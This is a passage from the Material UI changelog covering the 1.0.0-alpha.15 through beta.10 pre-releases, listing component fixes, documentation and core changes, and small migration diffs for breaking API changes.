@daveish\n- [ButtonBase] Make the `button` and `a` behavior the same (#8130) @oliviertassinari\n- [withStyle] Memoize the classes object between renders (#8142) @oliviertassinari\n- [typescript] Fix for Popover -> PaperProps typing (#8129) @xaviergonz\n- [typescript] Fix for createPalette TypeScript types (#8123) @xaviergonz\n- [LinearProgress] Fix loop (#8146) @oliviertassinari\n- [Card] Add `backgroundPosition: 'center'` to CardMedia (#8148) @kripod\n- [ImgBot] Optimize images (#8154) @dabutvin\n- [Input] Better handle type=number (#8164) @oliviertassinari\n- [typescript] Improve typings for `ButtonBase` (#8175) @sebald\n- [typescript] Make `withStyles` usable as decorator (#8178) @sebald\n- [FormControls] Fix styling for component (#8186) @slavab89\n- [Toolbar] Add a toolbar mixins 💄 (#8157) @wcandillon\n- [Switch] Styling bug fix on long labels (#8181) @willfarrell\n- [Radio] Accept invalid children (#8187) @oliviertassinari\n- [theme] Extend createMuiTheme behavior (#8188) @oliviertassinari\n\n### Docs\n\n- [docs] Fix popover component name (#8161) @cherniavskii\n- [Snackbar] 6e3 -> 6000; better to be less clever and more clear (#8151) @davidcalhoun\n- [docs] Inverse expand icons on the NestedList demo (51f40016e29f5159a87cafae1092eb85416eb0d5) @oliviertassinari\n\n### Core\n\n- [core] Bump some dependencies (#8149) @oliviertassinari\n\n## 1.0.0-beta.9\n\n_Sep 10, 2017_\n\nAgain, this release is particularly dense! Here are some highlights:\n\n- Many typing fixes (typescript and flow) by @sebald, @rosskevin and @xaviergonz\n- A new Select component thanks to @kybarg (#8023)\n- A new Pickers documentation page (#8117)\n\nA big thanks to the 13 contributors who made this release possible.\n\n### Breaking changes\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Select] First implementation (#8023) @kybarg\n- [style] Fix memory leak (#8036) @oliviertassinari\n- [RadioGroup] Fix TypeScript definition for value property (#8026) @jaredklewis\n- [Popover] Pass transitionDuration to Grow (#8049) @nvma\n- [typescript] Add `image` to CardMediaProps (#8033) @sebald\n- [typescript] Fix typings of withTheme (#8052) @sebald\n- [typescript] Fix `BottomNavigation`s onChange type (#8067) @sebald\n- [typescript] Allow to pass stylings props via component props (#8066) @sebald\n- [typescript] Update index and format (#8076) @sebald\n- [CardMedia] Allow styling without breaking image (#8079) @pex\n- [List] Remove overflow (#8086) @oliviertassinari\n- [SvgIcon] Fix react@16 issue with `focusable` (#8102) @NLincoln\n- [Hidden] Change children type to allow many and add children tests (#8082) @rosskevin\n- [IconButton] Correct CSS precedence (#8106) @oliviertassinari\n- [Tabs] Accept null children (#8107) @oliviertassinari\n- [Snackbar] Fix click-through issue in IE11 (#8096) @stbenz88\n- [InputLabel] Add a FormControlClasses property (#8108) @oliviertassinari\n- [typings] Switch tabIndex from string type to number | string (#8115) @xaviergonz\n- [Input] Dodge the BFcache issue (#8110) @rosskevin\n\n### Docs\n\n- [Picker] Add page section in the documentation (#8117) @oliviertassinari\n- [docs] Update basics.md (#8014) @kgaregin\n- [docs] 🚑 Fix broken link (#8029) @wcandillon\n- [examples] Fix typo in extraction path (#8031) @freiit\n- [Drawer] Fix for mini variant drawer can be scrolled horizontally when collapsed (#8112) @xaviergonz\n- [docs] Update react-docgen and fix api docs (#8056) @rosskevin\n- [docs] Remove defensive checks (#8057) @rosskevin\n- [examples] Fix create react app explicit dependencies (#8087) @rosskevin\n- [docs] Add a spread section to the API page (#8097) @oliviertassinari\n- [docs] Reduce the bundle size 📦 (#8121) @oliviertassinari\n- [docs] Add carbon (#8118) @oliviertassinari\n- [docs] Makes the sections bolder (#8116) @oliviertassinari\n\n### Core\n\n- [core] Flow 0.54.0 updates (#8042) @rosskevin\n- [typescript] Add example for using withStyle/Theme together (#8078) @sebald\n- [core] Small improvements (#8084) @oliviertassinari\n\n## 1.0.0-beta.8\n\n_Sep 2, 2017_\n\nA big thanks to the 8 contributors who made this release possible.\n\n### Breaking changes\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [typescript] Adjust typings to refactoring in `styles` (#7975) @sebald\n- [Drawer] Add `type` property, remove `docked` property in TypeScript definition (#7998) @jaredklewis\n- [typescript] Make createMuiTheme's ThemeOptions recursively partial (#7993) @fathyb\n- [npm] Move \"next\" to the dev dependencies (#7980) @oliviertassinari\n\n### Docs\n\n- [docs] Add a NestedList example (#7995) @apalanki\n- [SSR] Remove the singleton hack ✨ (#7965)\n- [docs] Fix SSR palette creation section (#7987) @Shastel\n- [docs] Remove typo on the Paper demo page (#7979) @jzakotnik\n- [docs] Add missing inheritance pragma to MenuItem (#7983) @yuchi\n- [example] Fix next.js CSS blink (cd0f883325b2b74515972d58f12868897fc34bf6) @oliviertassinari\n- [docs] Fix ROADMAP page issues (#8008) @oliviertassinari\n\n### Core\n\n- [typescript] Add test for Grid (#7991) @sebald\n\n## 1.0.0-beta.7\n\n_Aug 30, 2017_\n\nThis release is particularly dense! Here are some highlights:\n\n- We release 4 breaking changes at the same time.\n  This is a first for the project.\n  We wanted to release them as soon as possible, while the v1-beta market share is still at 10% of the v0.x version.\n  Hopefully, the frequency of the breaking changes will slow down.\n- @rosskevin has upgraded the Flow dependency. v0.53 is providing a much better typing integration with React.\n- The Drawer component has some new features.\n  One of them is allowing the documentation to fully take advantage of the server-side rendering.\n  We expect the documentation to render even faster with this beta.\n\nA big thanks to the 12 contributors who made this release possible.\n\n### Breaking changes\n\n- [theme] Use secondary wording over accent (#7906) @oliviertassinari\n\n```diff\n     const theme = createMuiTheme({\n-      palette: createPalette({ primary: deepOrange, accent: green }),\n+      palette: createPalette({ primary: deepOrange, secondary: green }),\n     });\n```\n\n```diff\n   flatAccent: {\n-    color: theme.palette.accent.A200,\n+    color: theme.palette.secondary.A200,\n```\n\n- [Drawer] New improvements (#7925) @oliviertassinari\n\n```diff\n-<Drawer docked />\n+<Drawer type=\"persistent\" />\n```\n\n- [theme] Simplification of the API (#7934) @oliviertassinari\n  - If you are using a direct import of `material-ui/styles/theme`, the path changed:\n\n  ```diff\n  -import createMuiTheme from 'material-ui/styles/theme';\n  +import createMuiTheme from 'material-ui/styles/createMuiTheme';\n  ```\n\n  - We have removed the intermediary functions, now you can provide a nested structure to override the generated theme structure inside the first argument of `createMuiTheme()`. Notice that you can still change the output object before providing it to the `<MuiThemeProvider />`.\n\n  ```diff\n   const theme = createMuiTheme({\n  -  palette: createPalette({\n  +  palette: {\n       primary: blue,\n       secondary: pink,\n     }),\n  -  typography: createTypography(palette, {\n  +  typography: {\n       // System font\n       fontFamily:\n         '-apple-system,system-ui,BlinkMacSystemFont,' +\n         '\"Segoe UI\",Roboto,\"Helvetica Neue\",Arial,sans-serif',\n  -  }),\n  +  },\n  -},\n  +});\n  ```\n\n- [Input] Better support required field (#7955) @oliviertassinari\n\nFollowing Bootstrap, we are now forwarding the required property down to the input component. We used to only apply `aria-required`. This move makes us less opinionated and should help with native form handling.\n\nIf you want to avoid the default browser required property handling, you can add a `noValidate` property to the parent `form`.\n\n### Component Fixes / Enhancements\n\n- [TextField] Fix label position with dense margins (#7946) @phallguy\n- [FormControlLabel] Allow for node in the label prop (#7903) @Taldrain\n- [ListItemIcon] Icon should not shrink fixes (#7917) @gulderov\n- [withResponsiveFullScreen] missed type import (#7926) @rosskevin\n- [typescript] Fixes/improvements for withWith/withStyle/BottomNavigationAction (#7897) @sebald\n- [typescript] Update typings to popover changes (#7937) @sebald\n- [Popover] Expose the component (#7927) @oliviertassinari\n- [ButtonBase] Better warning message (#7904) @oliviertassinari\n- [Menu] Allow invalid children (#7907) @oliviertassinari\n- [Menu] Add a new warning (#7962) @oliviertassinari\n\n### Docs\n\n- [docs] Fix missing props in css-in-js examples (#7867) @Izhaki\n- [docs] Fix docs build on Windows (#7938) @kybarg\n- [docs] remove flow from demos (#7883) @rosskevin\n- [docs] Use emoji directly instead of :shortcodes: (#7912) @markspolakovs\n- [docs] Show an example with the data- pattern (#7924) @Sigfried\n- [docs] Small fixes after the next.js refactorization (#7851) @oliviertassinari\n- [docs] Fix typo in floating-action button property of Button (#7951) @kgregory\n- [docs] Add the title for SEO (#7885) @oliviertassinari\n- [docs] Better support IE11 (#7939) @oliviertassinari\n- [docs] The style is injected at the bottom of the head (#7954) @oliviertassinari\n\n### Core\n\n- [typescript] Refactor typings to modules (#7874) @sebald\n- [flow] Upgrade to flow 0.53.1 (#7869) @rosskevin\n- [core] Misc flow fixes (#7890) @rosskevin\n- [core] Upgrade prettier (#7941) @oliviertassinari\n\n## 1.0.0-beta.6\n\n_Aug 20, 2017_\n\nA big shout-out to @sebald for our first TypeScript coverage.\nAnother notable change is [the migration of the documentation](#7759) to [Next.js](https://github.com/vercel/next.js), it's twice as fast as before 🚀.\n\nA big thanks to the 9 contributors who made this release possible.\n\n### Breaking changes\n\n- [RadioGroup] Rename selectedValue to value (#7832) @oliviertassinari\n\nPush #7741 initiative forward (use `value` and `onChange` as controlling properties)\n\n```diff\n-<RadioGroup selectedValue=\"foo\">\n+<RadioGroup value=\"foo\">\n// ...\n```\n\n### Component Fixes / Enhancements\n\n- [Table] Add the possibility of custom element type (#7765) @wieseljonas\n- [Input] remove extraneous props when using custom component (#7784) @rosskevin\n- [Input] should accommodate number and string values (#7791) @rosskevin\n- [Slide] Remove Slide offset property from src and docs (#7808) @gfpacheco\n- [typescript] Create typings for material-ui-icons (#7820) @sebald\n- [typescript] Add tests for typings + fixes (#7686) @sebald\n- [typescript] Update typings for beta.4 and beta.5 (#7793) @sebald\n- [typescript] Update <Slide> typings (#7817) @sebald\n- [TextField] Fix placeholder issue (#7838) @oliviertassinari\n\n### Docs\n\n- [docs] Use Next.js: x2 performance (#7759) @oliviertassinari\n- [docs] Add the 'data grid for Material UI' reference (#7786) @dxbykov\n- [docs] Renamed the styleSheet argument in withStyles to styles (#7819) @phiilu\n- [docs] Advanced table (#7824) @oliviertassinari\n- [docs] Fix typo (#7777) @Merkyl999x\n- [docs] Fix run-on sentences (#7792) @gitname\n- [docs] Show inherited components (#7846) @oliviertassinari\n- [docs] Add a team page (#7842) @oliviertassinari\n- [docs] Add a ROADMAP page (#7840) @oliviertassinari\n- [docs] Some last improvement before the release (#7847) @oliviertassinari\n\n### Core\n\n- [core] Better usage of the CI 🚀 (#7833) @oliviertassinari\n- [core] Fix size-limit warning (#7822) @oliviertassinari\n- [icons] Automate release process (#7823) @oliviertassinari\n- [core] Update some dependencies (#7831) @oliviertassinari\n\n## 1.0.0-beta.5\n\n_Aug 15, 2017_\n\nA big thanks to the 11 contributors who made this release possible.\n\n### Breaking changes\n\n- [Tabs][bottomnavigation] Use value over index property (#7741) @oliviertassinari\n\nThis is an effort in the prolongation of #2957 where `value`/`onChange` is the idiomatic interface to control a component.\n\n```diff\n-<Tabs index={0}>\n+<Tabs value={0}>\n// ...\n```\n\n- [core] Remove createStyleSheet (#7740)(#7730) @oliviertassinari\n\nThe primary motivation for this change is simplicity, it's also making our interface closer to\n`react-jss`.\n\n```diff\n-import { withStyles, createStyleSheet } from 'material-ui/styles';\n+import { withStyles } from 'material-ui/styles';\n\n-const styleSheet = createStyleSheet('Button', {\n+const styles = {\n  root: {\n    background: 'red',\n  },\n-});\n+};\n\n// ...\n\n-export default withStyles(styleSheet)(AppContent);\n+export default withStyles(styles, { name: 'Button' })(Button);\n```\n\n### Component Fixes / Enhancements\n\n- [Modal] Fix with react@next (#7673) @oliviertassinari\n- [Card] allow overflow - important for content such as autosuggest (#7687) @rosskevin\n- [CardHeader] Allow classes in title and subheader (#7701) @bmuenzenmeyer\n- [Tabs] Fix full width issue (#7691) @oliviertassinari\n- [Button] Disable the hover effect on touch devices (#7692) @oliviertassinari\n- [Popover] Refactor popover transition - separation of concerns (#7720) @rosskevin\n- [ButtonBase] Expose internal component (#7727) @oliviertassinari\n- [LinearProgress] Use transform instead width (#7732) @kevindantas\n\n### Docs\n\n- [docs] Update Minimizing Bundle Size Documentation (#7707) @umidbekkarimov\n- [docs] Fix broken menu on the autocomplete page (#7702) @oliviertassinari\n- [examples] Take ownership on the next.js example (#7703) @oliviertassinari\n- [docs] Create CODE_OF_CONDUCT.md (1f3e67326d76f5d2053b128d5ca2cdefa0d6d90f) @oliviertassinari\n- [docs] Update supported-components.md (#7722) @BLipscomb\n- [docs] Fix the installation instructions of the examples (#7733) @dawogfather\n- [docs] Fix Typo (#7736) @Merkyl999x\n\n### Core\n\n- [core] Flow type transitions Slide, Fade, Collapse (#7719) @rosskevin\n- [core] General maintenance (#7690) @oliviertassinari\n\n## 1.0.0-beta.4\n\n_Aug 5, 2017_\n\nA big thanks to the 7 contributors who made this release possible.\n\n### Component Fixes / Enhancements\n\n- [Grid] Add baseline to container's align property (#7623) @kgregory\n- [GridList] Migrate to v1 branch (#7626) @mbrookes\n- [ListItemText] Repurpose text class (#7645) @kgregory\n- [Drawer] Fix docker warning (#7598) @oliviertassinari\n- [Drawer] Fix Chrome regression (#7599) @oliviertassinari\n- [style] Fix HMR issue with react-hot-loader (#7601) @oliviertassinari\n- [ButtonBase] Explicit the need for a class component (#7656) @oliviertassinari\n- [Modal] Take into account the body margin (#7666) @oliviertassinari\n- Fixes in the subway (#7661) @oliviertassinari\n\n### Docs\n\n- [docs] Fix language issues for clarity (#7610) @skirunman\n- [docs] Update docs for <RadioGroup> (#7640) @sebald\n- [docs] Fixed \"initial\" word in vars and typo (#7639) @kybarg\n- [docs] Spell check ESLint script (#7643) @kybarg\n- [docs] Fix audit issues (#7595) @oliviertassinari\n- [docs] Show how to use the insertionPoint (#7611) @oliviertassinari\n\n### Core\n\n- [flow] Export type Props for composability (#7609) @rosskevin\n- [typescript] Add TypeScript typings (#7553) @sebald\n- [typescript] Improve the coverage (#7606) @sebald\n- [core] Add isMuiComponent helper (#7635) @katzoo\n\n## 1.0.0-beta.3\n\n_Jul 29, 2017_\n\nA big thanks to the 8 contributors who made this release possible.\n\nThis release is full of bug fixes and documentation improvements following the major\nstyling update of the previous release.\n\n### Component Fixes / Enhancements\n\n- [Drawer] Fix docked not inheriting props (#7590) @foreggs\n- [Dialog] Better fullscreen fix (4deee4b5e3465682996d4dce35e5c60fd040502b) @oliviertassinari\n- [List] Fix padding issue (#7529) @markselby9\n- [test] Remove dead code (4e2cf38ae3181cf38a5796179bfb2887c402b4ac) @oliviertassinari\n- [flow] Fix wrong import (5a88d950bb3e9c7105cfa6b45c796d167827f1d7) @oliviertassinari\n- [Tabs] Fix Scroll button visibility state when child tab items are modified (#7576) @shawnmcknight\n- [TextField] Forward the id to the label & more (#7584) @oliviertassinari\n- [ios] Fix some style issue with Safari iOS (#7588) @oliviertassinari\n\n### Docs\n\n- [docs] Add example with Create React App (#7485) @akshaynaik404\n- [docs] Minor tweaks to grammar of CSS in JS page (#7530) @mbrookes\n- [docs] Server-side fix docs (91a30ee2276d8d06776f6fba831930568974dacc) @oliviertassinari\n- [docs] Fix 'colors' path in imports (#7519) @burnoo\n- [docs] Some fixes after the latest upgrade (#7528) @oliviertassinari\n- [docs] Update for supported components (#7586) @skirunman\n- [docs] Fix small issues I have noticed (#7591) @oliviertassinari\n- [docs] Optional style sheet name (#7594) @oliviertassinari\n- [docs] Use flow weak on the demos as we can't expect users to have flow (cd25e63a214c37ed7945e31aa9b08f02baa17351) @oliviertassinari\n\n### Core\n\n- [core] Support react@16.0.0-beta.1 (#7561) @oliviertassinari\n- [core] Small fixes of the styling solution (#7572) @oliviertassinari\n- [core] Better themingEnabled logic (#7533) @oliviertassinari\n- [core] Upgrade dependencies and build for the supported targets (#7575) @oliviertassinari\n- [core] Upgrade dependencies (#7539) @oliviertassinari\n- [flow] Increase coverage (6f4b2b3b3773ace568de54aaefbca963ab408b40) @oliviertassinari\n\n## 1.0.0-beta.2\n\n_Jul 23, 2017_\n\nPublish a new version as `v1.0.0-beta.1` was already used.\n\n## 1.0.0-beta.1\n\n_Jul 23, 2017_\n\nA big thanks to the 12 contributors who made this release possible.\n\nThis is the first beta release.\nWe are proud to move to the next step after 7 months of dogfooding with the alpha releases.\nWe have been fixing many bugs and implemented new features.\nThe styling solution has also been greatly improved:\n\n- Better performance\n- Shorter class names in production, for example `c1y`\n- Better readable class names in development\n- No longer required `MuiThemeProvider`\n- Simpler `createStyleSheet` API with an optional name\n- Theme nesting\n- Reliable theme update bypassing pure component logic\n- Interoperability with `react-jss`\n\nPlease keep in mind that [semver](https://docs.npmjs.com/getting-started/semantic-versioning) won't be respected between pre-releases.\nIn other words, the API will change if we need to.\n\n### Breaking changes\n\n- [core] Improve styling solution (#7461)\n\nThe `styleManager` is gone. The server-side rendering configuration changed, use the `sheetManager` instead. The documentation was updated, you can refer to it if needed.\n\n### Component Fixes / Enhancements\n\n- [List] Make List & ListItem semantic (#7444) @akshaynaik404\n- [Portal] Fix Portal not removing layer correctly on React 16 (#7463) @cusxio\n- [Popover] Doesn't reposition with anchorEl (#7479) @quiaro\n- [IconButton] Remove z-index (#7467) @oliviertassinari\n- [IconButton] Add the missing primary color (#7470) @MichaelMure\n- [Toolbar] Follow the spec more closely (#7475) @oliviertassinari\n- [Dialog] Fix Dialog margin (#7474) @hanalaydrus\n- [DialogActions] Fix allow have Children with null values (#7504) @stvkoch\n- [Autocomplete] Show an integration example (#7477) @oliviertassinari\n- [TextField] Fix multiline issue (#7498) @oliviertassinari\n- [Progress] Add color property (#7500) @kgregory\n\n### Docs\n\n- [docs] Fix minor typo (#7476) @jeffbirkholz\n- [docs] Mark items on the supported components page as done (#7492) @Airblader\n- [docs] Update help for 'overriding' to specify injection point (#7505) @cdharris\n- [docs] Add next.js example (#7510) @oliviertassnari\n- [docs] Selection control custom colors (#7516) @oliviertassnari\n\n### Core\n\n- [core] Ignore the package-lock.json file generated by npm (#7502) @Airblader\n\n## 1.0.0-alpha.22\n\n_Jul 18, 2017_\n\n### Breaking changes\n\n- [Switch] New FormControlLabel component (#7388) @oliviertassinari\n\n```diff\n<RadioGroup>\n-  <LabelRadio label=\"Male\" value=\"male\" />\n+  <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n</RadioGroup>\n```\n\nThis change provides more flexibility.\n\n- [BottomNavigation] Use value over index (#7421) @oliviertassinari\n\n```diff\n-  <BottomNavigation index={index} onChange={this.handleChange}>\n+  <BottomNavigation value={value} onChange={this.handleChange}>\n```\n\nAlso plan to do the same for the `Tabs` in order to have a consistent API\nwhere we always use `value`/`onChange` for controlled components.\n\n### Component Fixes / Enhancements\n\n- [Avatar] Avoid shrink (#7344) @oliviertassinari\n- [withWidth] Add a initalWidth property (#7343) @oliviertassinari\n- [TextField] vertical spacing to match visual spec (#7359) @rosskevin\n- [TextField/FormControl] dense implementation (#7364) @rosskevin\n- [Input/FormHelperText] Dense margin fixes (#7374) @rosskevin\n- [LinearProgress] Improve perf and clean (#7356) @oliviertassinari\n- [TextField] Address autoComplete issue (#7377) @oliviertassinari\n- [Menu] maxHeight spec compliance (#7378) @rosskevin\n- [Menu] Add ripple (#7381) @oliviertassinari\n- [Menu] Fix wrong scroll positioning (#7391) @oliviertassinari\n- [Modal] Fix concurrency issue (#7383) @oliviertassinari\n- [Checkbox] Add indeterminate property (#7390) @oliviertassinari\n- [Snackbar] Handle inactive tabs (#7420) @oliviertassinari\n\n### Docs\n\n- [docs] Color import correction (#7398) @wieseljonas\n- [docs] Fix typo (#7338) @adamborowski\n- [docs] Fix the path of imported colors (#7348) @shug0\n- [docs] Update documentation to reflect component name (#7406) @the-noob\n- [docs] Better warning message for missing MuiThemeProvider (#7429) @oliviertassinari\n- [docs] Add @param everywhere (#7432) @oliviertassinari\n\n### Core\n\n- [flow] global dom element workaround (#7401) @rosskevin\n- [core] Add size-limit (#7422)\n- [core] Upgrade some dependencies (#7361) @oliviertassinari\n- [core] Upgrade dependencies (#7433) @oliviertassinari\n- [icons] Upgrade the dependencies (#7385) @oliviertassinari\n\n## 1.0.0-alpha.21\n\n_Jul 4, 2017_\n\n### Breaking changes\n\n- [core] Reduce the bundle size (#7306) @oliviertassinari\n  Change the colors location as you most likely only need 20% of them in your bundle\n\n```diff\n-import { blue, fullWhite } from 'material-ui/styles/colors'\n+import blue from 'material-ui/colors/blue'\n+import common from 'material-ui/colors/common'\n+const { fullWhite } = common\n```\n\n### Component Fixes / Enhancements\n\n- [TextField] Fix textarea disabled support (#7255) @Calcyfer\n- [withStyles] Provide context for withStyles classes error (#7274) @rosskevin\n- [misc] Improve various points (#7275) @oliviertassinari\n- [Snackbar] Documentation - key property (#7307) @rosskevin\n- [Snackbar] Expose transition onExited to allow for consecutive messages with completed transitions (#7308) @rosskevin\n- [Chip] Fix Firefox issue with the svg icon (#7327) @oliviertassinari\n- [ButtonBase] Use color inherit by default (#7331 @oliviertassinari\n- [Input] Add a fullWidth property (#7329) @oliviertassinari\n\n### Docs\n\n- [docs] Improve the documentation regarding material.io/icons (#7323) @oliviertassinari\n- [docs] Fix MobileStepper API (#7299) @ng-hai\n\n### Core\n\n- [core] Reduce the bundle size (#7306) @oliviertassinari\n- [test] Should get coverage (#7272) @oliviertassinari\n- [core] Expand use of flow (#7268) @rosskevin\n\n## 1.0.0-alpha.20\n\n_Jun 25, 2017_\n\nDo you like playing with bleeding-edge tech?\nWe do, we have extended the support of React to the 16.0.0-alpha.13 release (aka Fiber).\n\n### Breaking changes\n\n- [Paper] Use normalized root over paper className (#7198) @oliviertassinari\n- [core] Follow the same convention as React for the umd build (#7217) @oliviertassinari\n\n### Component Fixes / Enhancements\n\n- [material-ui-icons] v1.0.0-alpha.19 (21b67cec3b200517c9dfdf4d28c0bfc2d1dceeaa) @oliviertassinari\n- [Input] Fix incorrect type of autoFocus prop (#7189) @gnapse\n- [Icons] Modernize icons package (#7203) @kvet\n- [Input] Fix various styling issue #7209 @oliviertassinari\n- [Tabs] Add a primary color and update the docs (#7242) @oliviertassinari\n- [ListItem] Use the .shortest duration (#7246) @oliviertassinari\n- [Dialog] Also take fixed element into account (#7239) @oliviertassinari\n- [Drawer] Fix first mount transition issue (#7236) @oliviertassinari\n\n### Docs\n\n- [docs] Fix typo in class name (#7192) @ossan-engineer\n- [docs] Add supported server section (#7231) @oliviertassinari\n- [docs] Detail the browser support (#7188) @oliviertassinari\n- [docs] Upgrade to webpack v3 (#7210) @oliviertassinari\n- [docs] More documentation on the typography (#7248) @oliviertassinari\n\n### Core\n\n- [test] Even faster CI build (#7230) @oliviertassinari\n- [styles] Export more functions (#7241) @oliviertassinari\n- [react] Support 16.0.0-alpha.13 (#7218) @oliviertassinari\n- [core] x2 speed up on the build (#7220) @oliviertassinari\n- [babel] Use transform-object-assign over a custom one (#7219) @oliviertassinari\n- [core] Some fixes (#7216) @oliviertassinari\n\n## 1.0.0-alpha.19\n\n_Jun 19, 2017_\n\nThe previous v1.0.0-alpha.18 release is corrupted.\n\n### Component Fixes / Enhancements\n\n- [Typography] Expose a headlineMapping property (#7183) @oliviertassinari\n- [Typography] Add a accent color variation (#7183) @oliviertassinari\n- [FormControl] Fix wording (#7183) @oliviertassinari\n- [Toolbar] Simplify breakpoint logic (#7183) @oliviertassinari\n- [Button] Fix upload button demo (#7183) @oliviertassinari\n- [TextField] Forward the placeholder (#7183) @oliviertassinari\n- [MobileStepper] Improvements (#7179) @alexhayes\n- [MobileStepper] Fix the wordings (#7183) @oliviertassinari\n- [AppBar] Use a header instead of a div DOM element (#7183) @oliviertassinari\n\n### Docs\n\n- [docs] Update minimizing-bundle-size.md (#7169) @kazazor\n- [docs] Info on how to use the breakpoints attribute in the theme (#7172) @alexhayes\n- [docs] Add a supported browsers section (#7174) @oliviertassinari\n- [docs] We don't require any polyfill (#7183) @oliviertassinari\n- [docs] Exposes the 3 Babel plugins available for minimising the bundle size (#) @oliviertassinari\n- [docs] Fix MATERIAL_UI_PORT not fully supported\n\n### Core\n\n- [core] Add missing flow import (#7180) @oliviertassinari\n\n## 1.0.0-alpha.18\n\n_Jun 19, 2017_\n\n### Breaking changes\n\n- [TextField] Add a marginForm property (#7113) @oliviertassinari\n  This change makes the extra margin of the component optional.\n  It's making us following less closely the specification but provides more flexibility out of the box.\n- [core] Remove some no longer needed properties (#7132) @oliviertassinari\n  Use the `classes` property over the removed `xxxClassName`.\n- [Button] Implement the dense option over the compact one (#7147) @oliviertassinari\n\n### Component Fixes / Enhancements\n\n- [SvgIcon] set focusable=false to fix IE tab navigation (#7106) @petermikitsh\n- [Dialog] Remove css width as it is too prescriptive for simple dialogs (#7115) @oliviertassinari\n- [BottomNavigation] Fix type error when onChange is not defined (#7139) @seasick\n- [TextField] Better support number value type (#7162) @oliviertassinari\n- [ButtonBase] Normalize ripple to disableRipple (#7159) @oliviertassinari\n\n### Docs\n\n- [docs] Document the Label wrappers (#7161) @oliviertassinari\n\n### Core\n\n- [MuiThemeProvider] Small ESLint fix (#7128) @Airblader\n- [core] Simplify the array logic (#7112) @oliviertassinari\n- [core] Fix type use of Element (#7111) @rosskevin\n- [core] Use the beta of circleci (#7133) @oliviertassinari\n- [core] Update dependencies (#7137) @oliviertassinari\n- [core] Update dependencies, able to remove react-addons-test-utils (#7146) @rosskevin\n- [core] As usual after using the lib in a real project I find issues (#7147) @oliviertassinari\n- [core] Disable linebreak-style rule (#7163) @oliviertassinari\n- [test] Four nines (#7173) @oliviertassinari\n\n## 1.0.0-alpha.17\n\n_Jun 12, 2017_\n\nA big thanks to the 8 contributors who made this release possible.\n\n### Breaking changes\n\n- [core] Normalize the API (#7099) @oliviertassinari\n  Reduce degree of freedom of the API with the color property. That's a tradeoff between correctness and verbosity.\n  You should be able to recover from this breaking change quite easily, as React will throw warnings. For instance:\n\n```diff\n-<Button contrast primary>Login</Button>\n+<Button color=\"contrast\">Login</Button>\n```\n\n### Component Fixes / Enhancements\n\n- [Switch] Correctly change the cursor value (#7042) @oliviertassinari\n- [FormControl] Cannot read property 'target' of undefined (#7046 @Fi1osof\n- [AppBar] Add a position property (#7049) @oliviertassinari\n- [Stepper] Mobile version (#7043) @alexhayes\n- [Snackbar] Implement the component on the next branch (#7059) @oliviertassinari\n- [ListItemText] Add disableTypography property (#7073 @zachwolf\n- [Modal] Add a keepMounted property (#7072) @oliviertassinari\n- [Button] Fix the behavior when a href is provided (#7083) @oliviertassinari\n- [Avatar] Add a imgProps property (#7084) @oliviertassinari\n- [FormHelperText] Add a min-height (#7085) @oliviertassinari\n- [Button] Add an upload example (#7086) @oliviertassinari\n\n### Docs\n\n- [docs] Add testing section (#7101) @oliviertassinari\n- [docs] Show the vision in the docs (#7078) @oliviertassinari\n- [docs] Improve the documentation on the classes property (#7062) @oliviertassinari\n- [docs] Improve accessibility in the component examples (#7047) @tuukkao\n- [docs] Update usage.md \"Hello World\" :| (#7027) @dphrag\n- [docs] Add link to the temporary alpha docs (#7037) @peteratticusberg\n\n### Core\n\n- [eslint] Loosen no-unused-vars ESLint rule (#7064) @yuchi\n- [core] Various fixes (#7028) @oliviertassinari\n\n## 1.0.0-alpha.16\n\n_Jun 1, 2017_\n\nThis release is mainly about bug fixes and improving the documentation.\nShout out to @kybarg for the update of the `TextField` in order to better follow the spec (#6566).\n\n### Component Fixes / Enhancements\n\n- [TextField] Make it meet guidelines (#6566) @kybarg\n- [TextField] Fix Labels flicker in Chrome (#7010) @kybarg\n- [TextField] Fix broken isDirty logic (#7008) @oliviertassinari\n- [CircularProgress] make it start and finish from top (#6966) @slavab89\n- [Switch] Add inputProps property link in the TextField (#6959) @oliviertassinari\n- [BaseButton] Better handle the disabled property (#6958) @oliviertassinari\n- [FormControl] Fix onFocus and onBlur events override (#6952) @oliviertassinari\n- [Tabs] Add `false` as a valid index value (#6945) @oliviertassinari\n- [Input] Improve support of the date/time fields (#6947) @oliviertassinari\n- [MuiThemeProvider] Add a muiThemeProviderFactory (#7000) @viotti\n\n### Docs\n\n- [docs] Add a VISION.md file (#6982) @oliviertassinari\n- [docs] Grid docs should refer to Hidden component/demo (#6963) @kgregory\n- [docs] Fix grammar/verbiage on customization/themes page (#6943) @drusepth\n- [docs] Change text for link (#6977) @sghall\n- [docs] Some grammar/text edits (#6976) @sghall\n- [docs] Suggested text changes (#6978) @sghall\n- [docs] Fix MuiThemeProvider documentation (#6989) @viotti\n- [docs] Fix TableRow persistent background when clicked (#7001) @sajal50\n- [docs] Add an example with a decorator (#7011) @uufish\n\n### Core\n\n- [npm] Fix react-scrollbar-size issue (#7009) @oliviertassinari\n- [transitions] Add test coverage for the transition validation functions (#6936) @Alex4S\n- [eslint] enable flow's built-in types (#6946) @rosskevin\n- [test] Upgrade the docker versions (#6979) @oliviertassinari\n\n## 1.0.0-alpha.15\n\n_May 23, 2017_\n\nThis release introduces an important change in the API and the implementation.\nEach exposed component is wrapped with a `withStyles` Higher-order component.\nThis HOC has different responsibilities, the one you're going to be interested in is\nregarding the `classes` property. Now, we consider the CSS as a public API.\nYou now have two way to customize absolutely all the CSS injected by Material UI.\nEither the instance level with the `classes` property or the class level with the\n`overrides` theme property.\n\nTo learn more about it, have a look at the documentation.\n\n### Breaking changes\n\n- [core] Various fixes after using it on a real project (#6882) @oliviertassinari\n  Apply the other properties (undocumented) on the root of the Menu.\n- [core] Add a new classes property to all the components #6911 @oliviertassinari\n\nIf you were using the ref to access the internals of the component or native elements,\nyou're going to have to change your strategy. Either use `innerRef` or `inputRef`.\n\n### Component Fixes / Enhancements\n\n- [Typography] Add missing style (#6873) @oliviertassinari\n- [Dialog] create responsive HOC `withResponsiveFullScreen` (#6898) @rosskevin\n- [core] Remove usage of 'not-allowed' (#6932) @oliviertassinari\n- [Switch] Remove the blue flash of death (#6933) @oliviertassinari\n- [TextField] Fix the inputClassName property (#6934) @oliviertassinari\n\n### Docs\n\n- [docs] Enable flow on much more demos (#6881) @oliviertassinari\n- [docs] Better support IE11 (#6880) @oliviertassinari\n- [Tabs] Document that the index is required (#6935) @oliviertassinari\n\n### Core\n\n- 